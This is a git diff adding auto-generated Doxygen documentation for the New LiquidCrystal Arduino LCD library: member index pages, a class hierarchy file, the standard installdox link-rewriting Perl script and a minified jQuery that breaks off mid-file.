z$D7yJnqSa(es#+qiN5>4_4EDDFZO$H+Fh^MBH+YoTokY^Q!+9#?d)>vwv3Yw*Rly-LY$(@}t-3;)0XUPrZ!IB%s(_pZ#HPZ2xc? Sd^id83xlVtpUXO@geCxW-C}_N literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/ftv2vertline.png b/libraries/NewliquidCrystal/utility/docs/html/ftv2vertline.png new file mode 100644 index 0000000000000000000000000000000000000000..3b7a29cb81d7895a716673f35590eaceb3793003 GIT binary patch literal 82 zcmeAS@N?(olHy`uVBq!ia0vp^0zfRr!3HExu9B$%Qj(r7jv*C{Z|@!iau}EweqKKB en4GH+gF74RGzP}kvk&b8iF>;GxvX + + + + + +New LiquidCrystal library: Class Members + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + + +
+ +
+
+ + +
+ +
+ +
+
Here is a list of all documented class members with links to the class documentation for each member:
+ +

- a -

    +
  • autoscroll() +: LCD +
  • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
  • +
  • createChar() +: LCD +
  • +
  • cursor() +: LCD +
  • +
+ + +

- d -

+ + +

- h -

    +
  • home() +: LCD +
  • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
  • +
  • moveCursorRight() +: LCD +
  • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
  • +
  • noBacklight() +: LCD +
  • +
  • noBlink() +: LCD +
  • +
  • noCursor() +: LCD +
  • +
  • noDisplay() +: LCD +
  • +
+ + +

- o -

    +
  • off() +: LCD +
  • +
  • on() +: LCD +
  • +
+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- w -

+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/functions_func.html b/libraries/NewliquidCrystal/utility/docs/html/functions_func.html new file mode 100644 index 0000000..ba33778 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/functions_func.html @@ -0,0 +1,340 @@ + + + + + + +New LiquidCrystal library: Class Members - Functions + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + + +
+ +
+
+ + +
+ +
+ +
+  + +

- a -

    +
  • autoscroll() +: LCD +
  • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
  • +
  • createChar() +: LCD +
  • +
  • cursor() +: LCD +
  • +
+ + +

- d -

+ + +

- h -

    +
  • home() +: LCD +
  • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
  • +
  • moveCursorRight() +: LCD +
  • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
  • +
  • noBacklight() +: LCD +
  • +
  • noBlink() +: LCD +
  • +
  • noCursor() +: LCD +
  • +
  • noDisplay() +: LCD +
  • +
+ + +

- o -

    +
  • off() +: LCD +
  • +
  • on() +: LCD +
  • +
+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- w -

+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html b/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html new file mode 100644 index 0000000..086c706 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html @@ -0,0 +1,135 @@ + + + + +LCD Library: Class Members - Variables + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
    +
  • _cols +: LCD +
  • +
  • _displaycontrol +: LCD +
  • +
  • _displayfunction +: LCD +
  • +
  • _displaymode +: LCD +
  • +
  • _numlines +: LCD +
  • +
  • _polarity +: LCD +
  • +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals.html b/libraries/NewliquidCrystal/utility/docs/html/globals.html new file mode 100644 index 0000000..29e1f62 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals.html @@ -0,0 +1,490 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+ +
+
+
+ +
+
+
Here is a list of all file members with links to the files they belong to:
+ +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
  • +
  • BACKLIGHT_ON +: LCD.h +
  • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

+ + +

- l -

+ + +

- n -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- w -

    +
  • waitUsec() +: LCD.h +
  • +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html b/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html new file mode 100644 index 0000000..6fc2e40 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html @@ -0,0 +1,412 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+ +
+
+
+ +
+
+  + +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
  • +
  • BACKLIGHT_ON +: LCD.h +
  • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
  • +
+ + +

- l -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html b/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html new file mode 100644 index 0000000..bb4e68a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html @@ -0,0 +1,124 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html b/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html new file mode 100644 index 0000000..115e47e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html @@ -0,0 +1,130 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_func.html b/libraries/NewliquidCrystal/utility/docs/html/globals_func.html new file mode 100644 index 0000000..38b6dbf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_func.html @@ -0,0 +1,154 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_type.html b/libraries/NewliquidCrystal/utility/docs/html/globals_type.html new file mode 100644 index 0000000..47fb668 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_type.html @@ -0,0 +1,124 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html new file mode 100644 index 0000000..a3c8baa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html @@ -0,0 +1,116 @@ + + + + + + +New LiquidCrystal library: Class Hierarchy + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class Hierarchy
+
+
+
This inheritance list is sorted roughly, but not completely, alphabetically:
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js new file mode 100644 index 0000000..26add4e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.js @@ -0,0 +1,18 @@ +var hierarchy = +[ + [ "I2CIO", "class_i2_c_i_o.html", null ], + [ "Print", null, [ + [ "LCD", "class_l_c_d.html", [ + [ "LiquidCrystal", "class_liquid_crystal.html", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html", null ], + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html", null ], + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html", null ], + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html", null ], + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html", null ] + ] ] + ] ], + [ "SI2CIO", "class_s_i2_c_i_o.html", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/index.html b/libraries/NewliquidCrystal/utility/docs/html/index.html new file mode 100644 index 0000000..c070349 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/index.html @@ -0,0 +1,92 @@ + + + + + + +New LiquidCrystal library: Main Page + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + +
+ +
+
+ + +
+ +
+ +
+
+
New LiquidCrystal library Documentation
+
+
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/installdox b/libraries/NewliquidCrystal/utility/docs/html/installdox new file mode 100644 index 0000000..edf5bbf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/installdox @@ -0,0 +1,112 @@ +#!/usr/bin/perl + +%subst = ( ); +$quiet = 0; + +while ( @ARGV ) { + $_ = shift @ARGV; + if ( s/^-// ) { + if ( /^l(.*)/ ) { + $v = ($1 eq "") ? shift @ARGV : $1; + ($v =~ /\/$/) || ($v .= "/"); + $_ = $v; + if ( /(.+)\@(.+)/ ) { + if ( exists $subst{$1} ) { + $subst{$1} = $2; + } else { + print STDERR "Unknown tag file $1 given with option -l\n"; + &usage(); + } + } else { + print STDERR "Argument $_ is invalid for option -l\n"; + &usage(); + } + } + elsif ( /^q/ ) { + $quiet = 1; + } + elsif ( /^\?|^h/ ) { + &usage(); + } + else { + print STDERR "Illegal option -$_\n"; + &usage(); + } + } + else { + push (@files, $_ ); + } +} + +foreach $sub (keys %subst) +{ + if ( $subst{$sub} eq "" ) + { + print STDERR "No substitute given for tag file `$sub'\n"; + &usage(); + } + elsif ( ! $quiet && $sub ne "_doc" && $sub ne "_cgi" ) + { + print "Substituting $subst{$sub} for each occurrence of tag file $sub\n"; + } +} + +if ( ! @files ) { + if (opendir(D,".")) { + foreach $file ( readdir(D) ) { + $match = ".html"; + next if ( $file =~ /^\.\.?$/ ); + ($file =~ /$match/) && (push @files, $file); + ($file =~ /\.svg/) && (push @files, $file); + ($file =~ "navtree.js") && (push @files, $file); + } + closedir(D); + } +} + +if ( ! @files ) { + print STDERR "Warning: No input files given and none found!\n"; +} + +foreach $f (@files) +{ + if ( ! $quiet ) { + print "Editing: $f...\n"; + } + $oldf = $f; + $f .= ".bak"; + unless (rename $oldf,$f) { + print STDERR "Error: cannot rename file $oldf\n"; + exit 1; + } + if (open(F,"<$f")) { + unless (open(G,">$oldf")) { + print STDERR "Error: opening file $oldf for writing\n"; + exit 1; + } + if ($oldf ne "tree.js") { + while () { + s/doxygen\=\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\" (xlink:href|href|src)=\"\2/doxygen\=\"$1:$subst{$1}\" \3=\"$subst{$1}/g; + print G "$_"; + } + } + else { + while () { + s/\"([^ \"\:\t\>\<]*)\:([^ \"\t\>\<]*)\", \"\2/\"$1:$subst{$1}\" ,\"$subst{$1}/g; + print G "$_"; + } + } + } + else { + print STDERR "Warning file $f does not exist\n"; + } + unlink $f; +} + +sub usage { + print STDERR "Usage: installdox [options] [html-file [html-file ...]]\n"; + print STDERR "Options:\n"; + print STDERR " -l tagfile\@linkName tag file + URL or directory \n"; + print STDERR " -q Quiet mode\n\n"; + exit 1; +} diff --git a/libraries/NewliquidCrystal/utility/docs/html/jquery.js b/libraries/NewliquidCrystal/utility/docs/html/jquery.js new file mode 100644 index 0000000..1f4d0b4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/jquery.js @@ -0,0 +1,68 @@ +/*! + * jQuery JavaScript Library v1.7.1 + * http://jquery.com/ + * + * Copyright 2011, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Nov 21 21:11:03 2011 -0500 + */ +(function(bb,L){var av=bb.document,bu=bb.navigator,bl=bb.location;var b=(function(){var bF=function(b0,b1){return new bF.fn.init(b0,b1,bD)},bU=bb.jQuery,bH=bb.$,bD,bY=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,bM=/\S/,bI=/^\s+/,bE=/\s+$/,bA=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,bN=/^[\],:{}\s]*$/,bW=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,bP=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,bJ=/(?:^|:|,)(?:\s*\[)+/g,by=/(webkit)[ \/]([\w.]+)/,bR=/(opera)(?:.*version)?[ \/]([\w.]+)/,bQ=/(msie) ([\w.]+)/,bS=/(mozilla)(?:.*? rv:([\w.]+))?/,bB=/-([a-z]|[0-9])/ig,bZ=/^-ms-/,bT=function(b0,b1){return(b1+"").toUpperCase()},bX=bu.userAgent,bV,bC,e,bL=Object.prototype.toString,bG=Object.prototype.hasOwnProperty,bz=Array.prototype.push,bK=Array.prototype.slice,bO=String.prototype.trim,bv=Array.prototype.indexOf,bx={};bF.fn=bF.prototype={constructor:bF,init:function(b0,b4,b3){var b2,b5,b1,b6;if(!b0){return this}if(b0.nodeType){this.context=this[0]=b0;this.length=1;return this}if(b0==="body"&&!b4&&av.body){this.context=av;this[0]=av.body;this.selector=b0;this.length=1;return this}if(typeof b0==="string"){if(b0.charAt(0)==="<"&&b0.charAt(b0.length-1)===">"&&b0.length>=3){b2=[null,b0,null]}else{b2=bY.exec(b0)}if(b2&&(b2[1]||!b4)){if(b2[1]){b4=b4 instanceof bF?b4[0]:b4;b6=(b4?b4.ownerDocument||b4:av);b1=bA.exec(b0);if(b1){if(bF.isPlainObject(b4)){b0=[av.createElement(b1[1])];bF.fn.attr.call(b0,b4,true)}else{b0=[b6.createElement(b1[1])]}}else{b1=bF.buildFragment([b2[1]],[b6]);b0=(b1.cacheable?bF.clone(b1.fragment):b1.fragment).childNodes}return bF.merge(this,b0)}else{b5=av.getElementById(b2[2]);if(b5&&b5.parentNode){if(b5.id!==b2[2]){return b3.find(b0)}this.length=1;this[0]=b5}this.context=av;this.selector=b0;return this}}else{if(!b4||b4.jquery){return(b4||b3).find(b0)}else{return this.constructor(b4).find(b0)}}}else{if(bF.isFunction(b0)){return b3.ready(b0)}}if(b0.selector!==L){this.selector=b0.selector;this.context=b0.context}return bF.makeArray(b0,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return bK.call(this,0)},get:function(b0){return b0==null?this.toArray():(b0<0?this[this.length+b0]:this[b0])},pushStack:function(b1,b3,b0){var b2=this.constructor();if(bF.isArray(b1)){bz.apply(b2,b1)}else{bF.merge(b2,b1)}b2.prevObject=this;b2.context=this.context;if(b3==="find"){b2.selector=this.selector+(this.selector?" ":"")+b0}else{if(b3){b2.selector=this.selector+"."+b3+"("+b0+")"}}return b2},each:function(b1,b0){return bF.each(this,b1,b0)},ready:function(b0){bF.bindReady();bC.add(b0);return this},eq:function(b0){b0=+b0;return b0===-1?this.slice(b0):this.slice(b0,b0+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(bK.apply(this,arguments),"slice",bK.call(arguments).join(","))},map:function(b0){return this.pushStack(bF.map(this,function(b2,b1){return b0.call(b2,b1,b2)}))},end:function(){return this.prevObject||this.constructor(null)},push:bz,sort:[].sort,splice:[].splice};bF.fn.init.prototype=bF.fn;bF.extend=bF.fn.extend=function(){var b9,b2,b0,b1,b6,b7,b5=arguments[0]||{},b4=1,b3=arguments.length,b8=false;if(typeof b5==="boolean"){b8=b5;b5=arguments[1]||{};b4=2}if(typeof b5!=="object"&&!bF.isFunction(b5)){b5={}}if(b3===b4){b5=this;--b4}for(;b40){return}bC.fireWith(av,[bF]);if(bF.fn.trigger){bF(av).trigger("ready").off("ready")}}},bindReady:function(){if(bC){return}bC=bF.Callbacks("once memory");if(av.readyState==="complete"){return setTimeout(bF.ready,1)}if(av.addEventListener){av.addEventListener("DOMContentLoaded",e,false);bb.addEventListener("load",bF.ready,false)}else{if(av.attachEvent){av.attachEvent("onreadystatechange",e);bb.attachEvent("onload",bF.ready);var b0=false;try{b0=bb.frameElement==null}catch(b1){}if(av.documentElement.doScroll&&b0){bw()}}}},isFunction:function(b0){return bF.type(b0)==="function"},isArray:Array.isArray||function(b0){return bF.type(b0)==="array"},isWindow:function(b0){return b0&&typeof b0==="object"&&"setInterval" in b0},isNumeric:function(b0){return !isNaN(parseFloat(b0))&&isFinite(b0)},type:function(b0){return b0==null?String(b0):bx[bL.call(b0)]||"object"},isPlainObject:function(b2){if(!b2||bF.type(b2)!=="object"||b2.nodeType||bF.isWindow(b2)){return false}try{if(b2.constructor&&!bG.call(b2,"constructor")&&!bG.call(b2.constructor.prototype,"isPrototypeOf")){return false}}catch(b1){return false}var b0;for(b0 in b2){}return b0===L||bG.call(b2,b0)},isEmptyObject:function(b1){for(var b0 in b1){return false}return true},error:function(b0){throw new Error(b0)},parseJSON:function(b0){if(typeof b0!=="string"||!b0){return null}b0=bF.trim(b0);if(bb.JSON&&bb.JSON.parse){return bb.JSON.parse(b0)}if(bN.test(b0.replace(bW,"@").replace(bP,"]").replace(bJ,""))){return(new Function("return "+b0))()}bF.error("Invalid JSON: "+b0)},parseXML:function(b2){var b0,b1;try{if(bb.DOMParser){b1=new DOMParser();b0=b1.parseFromString(b2,"text/xml")}else{b0=new ActiveXObject("Microsoft.XMLDOM");b0.async="false";b0.loadXML(b2)}}catch(b3){b0=L}if(!b0||!b0.documentElement||b0.getElementsByTagName("parsererror").length){bF.error("Invalid XML: "+b2)}return b0},noop:function(){},globalEval:function(b0){if(b0&&bM.test(b0)){(bb.execScript||function(b1){bb["eval"].call(bb,b1)})(b0)}},camelCase:function(b0){return b0.replace(bZ,"ms-").replace(bB,bT)},nodeName:function(b1,b0){return b1.nodeName&&b1.nodeName.toUpperCase()===b0.toUpperCase()},each:function(b3,b6,b2){var b1,b4=0,b5=b3.length,b0=b5===L||bF.isFunction(b3);if(b2){if(b0){for(b1 in b3){if(b6.apply(b3[b1],b2)===false){break}}}else{for(;b40&&b0[0]&&b0[b1-1])||b1===0||bF.isArray(b0));if(b3){for(;b21?aJ.call(arguments,0):bG;if(!(--bw)){bC.resolveWith(bC,bx)}}}function bz(bF){return function(bG){bB[bF]=arguments.length>1?aJ.call(arguments,0):bG;bC.notifyWith(bE,bB)}}if(e>1){for(;bv
a";bI=bv.getElementsByTagName("*");bF=bv.getElementsByTagName("a")[0];if(!bI||!bI.length||!bF){return{}}bG=av.createElement("select");bx=bG.appendChild(av.createElement("option"));bE=bv.getElementsByTagName("input")[0];bJ={leadingWhitespace:(bv.firstChild.nodeType===3),tbody:!bv.getElementsByTagName("tbody").length,htmlSerialize:!!bv.getElementsByTagName("link").length,style:/top/.test(bF.getAttribute("style")),hrefNormalized:(bF.getAttribute("href")==="/a"),opacity:/^0.55/.test(bF.style.opacity),cssFloat:!!bF.style.cssFloat,checkOn:(bE.value==="on"),optSelected:bx.selected,getSetAttribute:bv.className!=="t",enctype:!!av.createElement("form").enctype,html5Clone:av.createElement("nav").cloneNode(true).outerHTML!=="<:nav>",submitBubbles:true,changeBubbles:true,focusinBubbles:false,deleteExpando:true,noCloneEvent:true,inlineBlockNeedsLayout:false,shrinkWrapBlocks:false,reliableMarginRight:true};bE.checked=true;bJ.noCloneChecked=bE.cloneNode(true).checked;bG.disabled=true;bJ.optDisabled=!bx.disabled;try{delete bv.test}catch(bC){bJ.deleteExpando=false}if(!bv.addEventListener&&bv.attachEvent&&bv.fireEvent){bv.attachEvent("onclick",function(){bJ.noCloneEvent=false});bv.cloneNode(true).fireEvent("onclick")}bE=av.createElement("input");bE.value="t";bE.setAttribute("type","radio");bJ.radioValue=bE.value==="t";bE.setAttribute("checked","checked");bv.appendChild(bE);bD=av.createDocumentFragment();bD.appendChild(bv.lastChild);bJ.checkClone=bD.cloneNode(true).cloneNode(true).lastChild.checked;bJ.appendChecked=bE.checked;bD.removeChild(bE);bD.appendChild(bv);bv.innerHTML="";if(bb.getComputedStyle){bA=av.createElement("div");bA.style.width="0";bA.style.marginRight="0";bv.style.width="2px";bv.appendChild(bA);bJ.reliableMarginRight=(parseInt((bb.getComputedStyle(bA,null)||{marginRight:0}).marginRight,10)||0)===0}if(bv.attachEvent){for(by in {submit:1,change:1,focusin:1}){bB="on"+by;bw=(bB in bv);if(!bw){bv.setAttribute(bB,"return;");bw=(typeof bv[bB]==="function")}bJ[by+"Bubbles"]=bw}}bD.removeChild(bv);bD=bG=bx=bA=bv=bE=null;b(function(){var bM,bU,bV,bT,bN,bO,bL,bS,bR,e,bP,bQ=av.getElementsByTagName("body")[0];if(!bQ){return}bL=1;bS="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;";bR="visibility:hidden;border:0;";e="style='"+bS+"border:5px solid #000;padding:0;'";bP="
";bM=av.createElement("div");bM.style.cssText=bR+"width:0;height:0;position:static;top:0;margin-top:"+bL+"px";bQ.insertBefore(bM,bQ.firstChild);bv=av.createElement("div");bM.appendChild(bv);bv.innerHTML="
t
";bz=bv.getElementsByTagName("td");bw=(bz[0].offsetHeight===0);bz[0].style.display="";bz[1].style.display="none";bJ.reliableHiddenOffsets=bw&&(bz[0].offsetHeight===0);bv.innerHTML="";bv.style.width=bv.style.paddingLeft="1px";b.boxModel=bJ.boxModel=bv.offsetWidth===2;if(typeof bv.style.zoom!=="undefined"){bv.style.display="inline";bv.style.zoom=1;bJ.inlineBlockNeedsLayout=(bv.offsetWidth===2);bv.style.display="";bv.innerHTML="
";bJ.shrinkWrapBlocks=(bv.offsetWidth!==2)}bv.style.cssText=bS+bR;bv.innerHTML=bP;bU=bv.firstChild;bV=bU.firstChild;bN=bU.nextSibling.firstChild.firstChild;bO={doesNotAddBorder:(bV.offsetTop!==5),doesAddBorderForTableAndCells:(bN.offsetTop===5)};bV.style.position="fixed";bV.style.top="20px";bO.fixedPosition=(bV.offsetTop===20||bV.offsetTop===15);bV.style.position=bV.style.top="";bU.style.overflow="hidden";bU.style.position="relative";bO.subtractsBorderForOverflowNotVisible=(bV.offsetTop===-5);bO.doesNotIncludeMarginInBodyOffset=(bQ.offsetTop!==bL);bQ.removeChild(bM);bv=bM=null;b.extend(bJ,bO)});return bJ})();var aS=/^(?:\{.*\}|\[.*\])$/,aA=/([A-Z])/g;b.extend({cache:{},uuid:0,expando:"jQuery"+(b.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:true,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:true},hasData:function(e){e=e.nodeType?b.cache[e[b.expando]]:e[b.expando];return !!e&&!S(e)},data:function(bx,bv,bz,by){if(!b.acceptData(bx)){return}var bG,bA,bD,bE=b.expando,bC=typeof bv==="string",bF=bx.nodeType,e=bF?b.cache:bx,bw=bF?bx[bE]:bx[bE]&&bE,bB=bv==="events";if((!bw||!e[bw]||(!bB&&!by&&!e[bw].data))&&bC&&bz===L){return}if(!bw){if(bF){bx[bE]=bw=++b.uuid}else{bw=bE}}if(!e[bw]){e[bw]={};if(!bF){e[bw].toJSON=b.noop}}if(typeof bv==="object"||typeof bv==="function"){if(by){e[bw]=b.extend(e[bw],bv)}else{e[bw].data=b.extend(e[bw].data,bv)}}bG=bA=e[bw];if(!by){if(!bA.data){bA.data={}}bA=bA.data}if(bz!==L){bA[b.camelCase(bv)]=bz}if(bB&&!bA[bv]){return bG.events}if(bC){bD=bA[bv];if(bD==null){bD=bA[b.camelCase(bv)]}}else{bD=bA}return bD},removeData:function(bx,bv,by){if(!b.acceptData(bx)){return}var bB,bA,bz,bC=b.expando,bD=bx.nodeType,e=bD?b.cache:bx,bw=bD?bx[bC]:bC;if(!e[bw]){return}if(bv){bB=by?e[bw]:e[bw].data;if(bB){if(!b.isArray(bv)){if(bv in bB){bv=[bv]}else{bv=b.camelCase(bv);if(bv in bB){bv=[bv]}else{bv=bv.split(" ")}}}for(bA=0,bz=bv.length;bA-1){return true}}return false},val:function(bx){var e,bv,by,bw=this[0];if(!arguments.length){if(bw){e=b.valHooks[bw.nodeName.toLowerCase()]||b.valHooks[bw.type];if(e&&"get" in e&&(bv=e.get(bw,"value"))!==L){return bv}bv=bw.value;return typeof bv==="string"?bv.replace(aU,""):bv==null?"":bv}return}by=b.isFunction(bx);return this.each(function(bA){var bz=b(this),bB;if(this.nodeType!==1){return}if(by){bB=bx.call(this,bA,bz.val())}else{bB=bx}if(bB==null){bB=""}else{if(typeof bB==="number"){bB+=""}else{if(b.isArray(bB)){bB=b.map(bB,function(bC){return bC==null?"":bC+""})}}}e=b.valHooks[this.nodeName.toLowerCase()]||b.valHooks[this.type];if(!e||!("set" in e)||e.set(this,bB,"value")===L){this.value=bB}})}});b.extend({valHooks:{option:{get:function(e){var bv=e.attributes.value;return !bv||bv.specified?e.value:e.text}},select:{get:function(e){var bA,bv,bz,bx,by=e.selectedIndex,bB=[],bC=e.options,bw=e.type==="select-one";if(by<0){return null}bv=bw?by:0;bz=bw?by+1:bC.length;for(;bv=0});if(!e.length){bv.selectedIndex=-1}return e}}},attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(bA,bx,bB,bz){var bw,e,by,bv=bA.nodeType;if(!bA||bv===3||bv===8||bv===2){return}if(bz&&bx in b.attrFn){return b(bA)[bx](bB)}if(typeof bA.getAttribute==="undefined"){return b.prop(bA,bx,bB)}by=bv!==1||!b.isXMLDoc(bA);if(by){bx=bx.toLowerCase();e=b.attrHooks[bx]||(ao.test(bx)?aY:be)}if(bB!==L){if(bB===null){b.removeAttr(bA,bx);return}else{if(e&&"set" in e&&by&&(bw=e.set(bA,bB,bx))!==L){return bw}else{bA.setAttribute(bx,""+bB);return bB}}}else{if(e&&"get" in e&&by&&(bw=e.get(bA,bx))!==null){return bw}else{bw=bA.getAttribute(bx);return bw===null?L:bw}}},removeAttr:function(bx,bz){var by,bA,bv,e,bw=0;if(bz&&bx.nodeType===1){bA=bz.toLowerCase().split(af);e=bA.length;for(;bw=0)}}})});var bd=/^(?:textarea|input|select)$/i,n=/^([^\.]*)?(?:\.(.+))?$/,J=/\bhover(\.\S+)?\b/,aO=/^key/,bf=/^(?:mouse|contextmenu)|click/,T=/^(?:focusinfocus|focusoutblur)$/,U=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,Y=function(e){var bv=U.exec(e);if(bv){bv[1]=(bv[1]||"").toLowerCase();bv[3]=bv[3]&&new RegExp("(?:^|\\s)"+bv[3]+"(?:\\s|$)")}return bv},j=function(bw,e){var bv=bw.attributes||{};return((!e[1]||bw.nodeName.toLowerCase()===e[1])&&(!e[2]||(bv.id||{}).value===e[2])&&(!e[3]||e[3].test((bv["class"]||{}).value)))},bt=function(e){return b.event.special.hover?e:e.replace(J,"mouseenter$1 mouseleave$1")};b.event={add:function(bx,bC,bJ,bA,by){var bD,bB,bK,bI,bH,bF,e,bG,bv,bz,bw,bE;if(bx.nodeType===3||bx.nodeType===8||!bC||!bJ||!(bD=b._data(bx))){return}if(bJ.handler){bv=bJ;bJ=bv.handler}if(!bJ.guid){bJ.guid=b.guid++}bK=bD.events;if(!bK){bD.events=bK={}}bB=bD.handle;if(!bB){bD.handle=bB=function(bL){return typeof b!=="undefined"&&(!bL||b.event.triggered!==bL.type)?b.event.dispatch.apply(bB.elem,arguments):L};bB.elem=bx}bC=b.trim(bt(bC)).split(" ");for(bI=0;bI=0){bG=bG.slice(0,-1);bw=true}if(bG.indexOf(".")>=0){bx=bG.split(".");bG=bx.shift();bx.sort()}if((!bA||b.event.customEvent[bG])&&!b.event.global[bG]){return}bv=typeof bv==="object"?bv[b.expando]?bv:new 